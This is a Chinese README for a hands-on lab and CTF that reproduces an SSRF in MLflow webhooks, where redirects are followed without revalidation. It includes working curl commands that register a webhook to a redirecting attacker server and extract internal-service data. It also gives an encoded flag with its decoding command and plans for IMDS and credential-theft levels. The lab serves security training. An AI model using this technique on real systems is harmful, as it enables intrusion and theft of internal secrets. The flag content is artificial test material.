CVE-2026-64849 · MLflow < 3.15.0 · 服务端请求伪造 (SSRF)
实践实验室,复现 CVE-2026-64849:MLflow 中由 webhook 处理中的 TOCTOU(检查时间 / 使用时间)缺陷导致的 SSRF 类型漏洞。MLflow 会验证 webhook 的原始 URL,但会跟随 HTTP 重定向 (302) 而不重新验证目标,从而允许未经身份验证的攻击者访问其本不应访问的内部服务 (internal-service:8888)。
使用限制: 实验室材料,仅限授权网络和环境使用。参见 法律声明。
| 属性 | 值 |
|---|---|
| 漏洞 | CVE-2026-64849 — 通过 Webhook 重定向绕过实现 SSRF |
| 受影响组件 | MLflow Tracking Server (< 3.15.0) |
| 实验室版本 | MLflow 3.13.0(未修改,通过 pip install 安装) |
| 根本原因 | TOCTOU:验证 URL,跟随 302 而不重新验证 |
| 攻击向量 | HTTP;无需身份验证 |
| 声明严重性 | 严重 (CVSS 9.3) — 根据实验室漏洞利用横幅 |
| 结果 | 访问内部服务、窃取凭据、端口扫描 |
| 预计时长 | 15–20 分钟 |
| 级别 | 中级(Web 应用安全 / 进攻性安全) |
MLflow 允许注册 webhook,在事件(模型数据、实验等)发生时触发 HTTP 请求。在保存 URL 之前会应用验证(协议、私有 IP、IP 元数据)。缺陷发生的原因在于:
3xx,requests 库会自动跟随重定向,并且 从不重新验证 目标 URL。攻击者控制第一跳(一个响应 302 指向内部服务的服务器),MLflow 则充当通往内部网络的 代理。
完整技术分析参见 EXPLOITATION_GUIDE.md §6。
完成本实验室后,学生将能够:
/test 以及窃取内部服务数据。受众: 进攻性安全的学生和专业人员、渗透测试人员、应用安全审查人员以及使用 MLflow 的开发人员。
软件要求:
| 工具 | 最低版本 |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
MLflow 不需要凭据或身份验证(该攻击是未认证的)。无需访问内部网络:实验室会提供该网络。
host Docker 内部网络 (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ 攻击者 (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, 响应 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, 跟随重定向) │
│ │ │ internal-service (8888) ← 无端口暴露到 │
│ │ │ "/admin/secret" host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
完整性说明:易受攻击的服务和内部服务均未被修改。参见 EXPLOITATION_GUIDE.md §14。
cd mlflow-ssrf-lab
bash run_lab.sh start # 启动 3 个容器并等待 MLflow
bash run_lab.sh exploit # 自动利用 (SSRF → 第 1 级标志)
逐步引导演示(交互式菜单):
bash manual_exploitation_interactive.sh
🏁 CTF 模式(手动解决): 该实验室是一个分级挑战。每个标志都会为你留下下一级的线索,因此到达每个 flag “是有意义的”。而且 重点在于手动完成:ctf_lab.sh 不会替你利用,它只引导并验证你的 flag:
bash ctf_lab.sh # CTF 交互式菜单
bash ctf_lab.sh nivel 1 # 级别说明 + 线索(供你手动执行的命令)
bash ctf_lab.sh flag '<flag>' # 验证你窃取并解码的 flag (+pts)
bash ctf_lab.sh status # 已完成级别 + 得分 (235 分,不显示 flags)
bash ctf_lab.sh hint 2 # 某级别的线索
bash ctf_lab.sh reset # 清除进度
run_lab.sh 脚本参考:
bash run_lab.sh start # start (默认) + 状态端点
bash run_lab.sh exploit # 在 mlflow 容器内执行 exploit.py
bash run_lab.sh manual # 显示逐步 curl 命令
bash run_lab.sh logs # 实时跟踪日志
bash run_lab.sh stop # 停止容器
bash run_lab.sh clean # 停止并删除实验室数据
所有对
/test的调用都需要Content-Type: application/json头;否则 MLflow 3.13 会响应400 Bad Request。
# 1. 创建指向攻击者服务器的 webhook(重定向到内部门户根目录,第 1 级)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. 触发 /test → MLflow 验证 URL,跟随 302 到达内部服务
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. 提取被窃取的数据(嵌套在 result.response_body 中)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
步骤 3 的预期结果(CTF 第 1 级):
{
"service": "internal-admin-portal",
"banner": "内部管理门户 — 仅可从内部网络访问",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "门户在 /admin/ 和 /api/ 下暴露资源。查找管理员凭据。"
}
该 flag 以 加密 形式传输 (flag_enc),响应本身会给出解码命令 (flag_decoding)。目标是通过 SSRF 窃取并解码它;其 pista 线索会引导你进入 第 2 级。逐步细节、漏洞分析和修复措施见 EXPLOITATION_GUIDE.md。
该实验室是一个 渐进式分级 CTF:每个标志都会留下一条 pista 线索,引导至下一个目标,因此到达每个 flag 是有意义的。所有级别都使用相同的基础技术(通过重定向实现 SSRF)解决,逐步提高技术和发现的难度。
Flags 以 加密 形式在响应的
flag_enc字段中传输,每个响应都包含flag_decoding(用于解码的确切命令)。明文 flagflag{...}不会出现在任何脚本或文档中:必须通过 SSRF 窃取并解码(自动脚本 不会 显示 flags)。
实验室规则: 只有 成功的 SSRF(通过重定向真实窃取内部服务数据)才能获得 flag。非 SSRF 或无法在实验室中复现的内容 不会获得 flag(例如直接访问攻击者的 /metadata、DNS 重绑定、whcli 隧道、无窃取数据的盲目扫描)。
游玩:bash ctf_lab.sh(交互式菜单)。按级别手动解决参见 REDTEAM_GUIDE.md(逐命令进攻性练习)和 EXPLOITATION_GUIDE.md(完整技术流程)。
在实验室整合过程中应用了以下修正,均已验证并反映在文档的所有命令中:
CVE-2026-29000-poc-lab/
├── README.md ← 本文件(实验室索引 / 封面)
├── REDTEAM_GUIDE.md ← 红队视角手动练习:侦察 → 假设 → 利用
├── EXPLOITATION_GUIDE.md ← 实验室完整流程 (SSRF, 变体, 完整性)
├── manual_exploitation_interactive.sh ← 逐步交互式演示(菜单)
└── mlflow-ssrf-lab/ ← 实验室代码和编排
├── docker-compose.yml ← 3 个容器 (mlflow, attacker, internal)
├── exploit.py ← 自动化利用(在容器内执行)
├── attacker_server.py ← 攻击者服务器(可配置 302)
├── internal_service.py ← “受保护”的内部服务(8888 门户 + 8889 隐藏服务)
├── ctf_lab.sh ← CTF 手动指南(说明 + 线索 + flag 验证器)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← 生成的数据 (sqlite 数据库, 工件)
lab_network 虚拟网络内;不会将内部服务暴露给主机。exploit.py 是实验室验证工具,在 MLflow 容器内、模拟内部网络上执行(参见 EXPLOITATION_GUIDE.md §14)。| 组件 | 端口 | 实验室角色 | 是否修改? |
|---|
mlflow-vulnerable | 5000 | 受害者 / 易受攻击的客户端 (MLflow 3.13.0 原版) | 否 |
attacker-server | 8080 | 攻击者服务器:/webhook → 302, /redirect?url=, /metadata, 仪表板 | 仅 do_HEAD |
internal-service | 8888 | lab_network 中的受害者;/admin/secret 和 /api/internal/config | 否 |
| 级别 | 技术 / 发现 | 目标 (SSRF) | Flag | 分数 |
|---|
| 1 | 基本重定向 | internal-service:8888/ | base64 | 10 |
| 2 | 枚举 /admin/ | internal-service:8888/admin/secret | hex | 25 |
| 3 | 枚举 /api/ | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | 云元数据 (IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5 (最终) | 盲 SSRF + 发现 8889 端口上的隐藏服务 | internal-service:8889/admin/final | XOR + base64 | 100 |
| # | 修正 | 影响 |
|---|
| 1 | POST /test 现在发送 Content-Type: application/json(以及 -d '{}') | 消除 MLflow 3.13 的 400 Bad Request 以及在提取 response_body 时的 jq: null 错误 |
| 2 | attacker_server.py 支持 HEAD 方法 (do_HEAD) | curl -I .../webhook 返回 302 Found 而非 501 Unsupported method |
| 3 | 使用真实 API POST /api/2.0/mlflow/webhooks | 避免不存在的路由 (/webhooks/create) 导致的 405 |